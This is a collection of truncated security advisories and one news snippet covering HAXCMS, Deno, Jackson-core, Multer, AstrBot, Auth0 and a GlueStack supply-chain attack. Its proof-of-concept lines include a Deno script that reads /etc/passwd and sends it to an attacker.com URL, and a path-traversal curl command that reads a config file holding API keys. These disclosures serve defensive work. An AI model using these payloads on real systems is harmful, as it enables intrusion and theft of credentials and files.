#js

### Summary An authenticated Local File Inclusion (LFI) vulnerability in the HAXCMS saveOutline endpoint allows a low-privileged user to read arbitrary files on the server by manipulating the location field written into site.json. This enables attackers to exfiltrate sensitive system files such as /etc/passwd, application secrets, or configuration files accessible to the web server (www-data). ### Details The vulnerability stems from the way the HAXCMS backend handles the location field in the site's outline. When a user sends a POST request to /system/api/saveOutline, the backend stores the provided location value directly into the site.json file associated with the site, without validating or sanitizing the input. Later the location parameter is interpreted by the CMS like in[ HAXCMSSite.php line 1248](https://github.com/haxtheweb/haxcms-php/blob/b158d8ba1f9602af92ab084fd03b418f953079fd/system/backend/php/lib/HAXCMSSite.php#L1248) to resolve and load the content for a given node. I...

### Summary The application does not sufficiently sanitize user input, allowing for the execution of arbitrary JavaScript code. The 'saveNode' and 'saveManifest' endpoints take user input and store it in the JSON schema for the site. This content is then rendered in the generated HAX site. Although the application does not allow users to supply a 'script' tag, it does allow the use of other HTML tags to run JavaScript. ### Affected Resources - [Operations.php:258](https://github.com/haxtheweb/haxcms-php/blob/master/system/backend/php/lib/Operations.php#L258) `saveManifest()` - [Operations.php:868](https://github.com/haxtheweb/haxcms-php/blob/master/system/backend/php/lib/Operations.php#L868) `saveNode()` - `https://<site>/<user>/system/api/saveNode` - `https://<site>/<user>/system/api/saveManifest` ### Impact An authenticated attacker can use the site editor and settings editor to store malicious payloads in a HAX site which execute arbitrary JavaScript when a user visits the sit...

Cybersecurity researchers have flagged a supply chain attack targeting over a dozen packages associated with GlueStack to deliver malware. The malware, introduced via a change to "lib/commonjs/index.js," allows an attacker to run shell commands, take screenshots, and upload files to infected machines, Aikido Security told The Hacker News, stating these packages collectively account for nearly 1

### Overview A flaw in Jackson-core's `JsonLocation._appendSourceDesc` method allows up to 500 bytes of unintended memory content to be included in exception messages. When parsing JSON from a byte array with an offset and length, the exception message incorrectly reads from the beginning of the array instead of the logical payload start. This results in possible **information disclosure** in systems using **pooled or reused buffers**, like Netty or Vert.x. ### Details The vulnerability affects the creation of exception messages like: ``` JsonParseException: Unexpected character ... at [Source: (byte[])...] ``` When `JsonFactory.createParser(byte[] data, int offset, int len)` is used, and an error occurs while parsing, the exception message should include a snippet from the specified logical payload. However, the method `_appendSourceDesc` ignores the `offset`, and always starts reading from index `0`. If the buffer contains residual sensitive data from a previous request, such a...

### Summary Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network. ### Details Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`: 1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code. 2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file. ### PoC ```ts const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile("/etc/passwd"); let pre = 'import {foo} from "[https://attacker.com?val=](https...

### Impact A vulnerability in Multer versions >=1.4.4-lts.1, <2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process. ### Patches Users should upgrade to `2.0.1` ### Workarounds None ### References https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9 https://github.com/expressjs/multer/issues/1233 https://github.com/expressjs/multer/pull/1256

### Summary An **unauthenticated information disclosure vulnerability** exists in the PSU deployment of HAX CMS via the `haxPsuUsage` API endpoint. This allows **any remote unauthenticated user** to retrieve a full list of PSU websites hosted on HAX CMS. When chained with other authorization issues (e.g., HAX-3), this could assist in targeted attacks such as unauthorized content modification or deletion. --- ### Details The endpoint [`https://open-apis.hax.cloud/api/services/stats/haxPsuUsage`](https://open-apis.hax.cloud/api/services/stats/haxPsuUsage) returns a list of websites on the PSU instance of HAX CMS. This endpoint is exposed without any authentication or authorization checks. The source of the issue is in the `haxPsuUsage.js` file, which appears to directly serve the site listing without verifying user identity or access level. This enables anyone with the endpoint URL to enumerate all site instances under the PSU deployment. This endpoint may have originally been used f...

### Impact This vulnerability may lead to: * Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. ### Reproduce Follow these steps to set up a test environment for reproducing the vulnerability: 1. Install dependencies and clone the repository: ```bash pip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py ``` 2. Alternatively, deploy the program via pip: ```bash mkdir astrbot && cd astrbot uvx astrbot init uvx astrbot run ``` 3. In another terminal, run the following command to exploit the vulnerability: ```bash curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json ``` This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5). ### Patches The vulnerability has been addressed in [Pull Request #1676](https://github.com...

**Overview** In Auth0 Next.js SDK versions 4.0.1 to 4.6.0, __session cookies set by auth0.middleware may be cached by CDNs due to missing Cache-Control headers. **Am I Affected?** You are affected by this vulnerability if you meet the following preconditions: 1. Applications using the NextJS-Auth0 SDK, versions between 4.0.1 to 4.6.0, 2. Applications using CDN or edge caching that caches responses with the Set-Cookie header. 3. If the Cache-Control header is not properly set for sensitive responses. **Fix** Upgrade auth0/nextjs-auth0 to v4.6.1.

## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```